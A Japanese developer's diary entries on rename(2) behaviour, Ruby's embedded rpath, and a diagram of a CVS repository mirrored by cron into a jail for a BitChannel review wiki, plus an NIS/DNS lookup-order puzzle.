あとは rename(2) の挙動の話だけど、 rename 先に空のディレクトリがあった場合だけ 踏み潰されるってのは rename としては正しい挙動。 mv がどうするかは別問題だけど。

(09:00)

rpath

突然思い出したけど、ruby に rpath が 埋め込まれるようになったのは地味に便利だ。 prefix=/usr/pkg/ruby-20041226 とかしてても --enable-shared が動く。

(10:06)

システム構成

昨日のサーバ移動の結果、レビュー関係のシステムは次のようになった。

 /var/cvs/linuxintro                         /var/cvs/jail/linuxintro
 +-----------------+  mirror-repository.rb   +-----------------+
 | CVS repository  | ----------------------> | CVS repository  |  ← remote CVS
 +-----------------+     (cron, 15")         +-----------------+  →
                                                     ↓(cron, 15")
                                             +-----------------+
                                             | CVS working copy|
                                             +-----------------+
                                                    ↓↑
                                             +-----------------+
                                             |    BitChannel   |
                                             +-----------------+

昨日までは mirror-repository.rb のところで物理的にマシンをまたいでおり、 そのためだけに cvsup が動いてたりしてメチャクチャ面倒だった。 今はそれに比べればかなりマシ。

また、見せないでおきたいファイルがあるときは mirror-repository.rb の時点で除外してしまう。 これも昨日まではまず jail 内に cvsup してから rm していた。

それに加えてややこしかったのが NIS と DNS の干渉。 NIS と DNS で同じエントリを入れてあるんだけど、 nsswitch.conf で nis を先にしておいてもなぜか DNS が優先されてしまう。 他のマシンからだと問題ないんだけど。

(11:03)

本日のツッコミ (全4件) [ツッコミを入れる]

なかだ [あれ、古かったかな?
というか404になってますが。]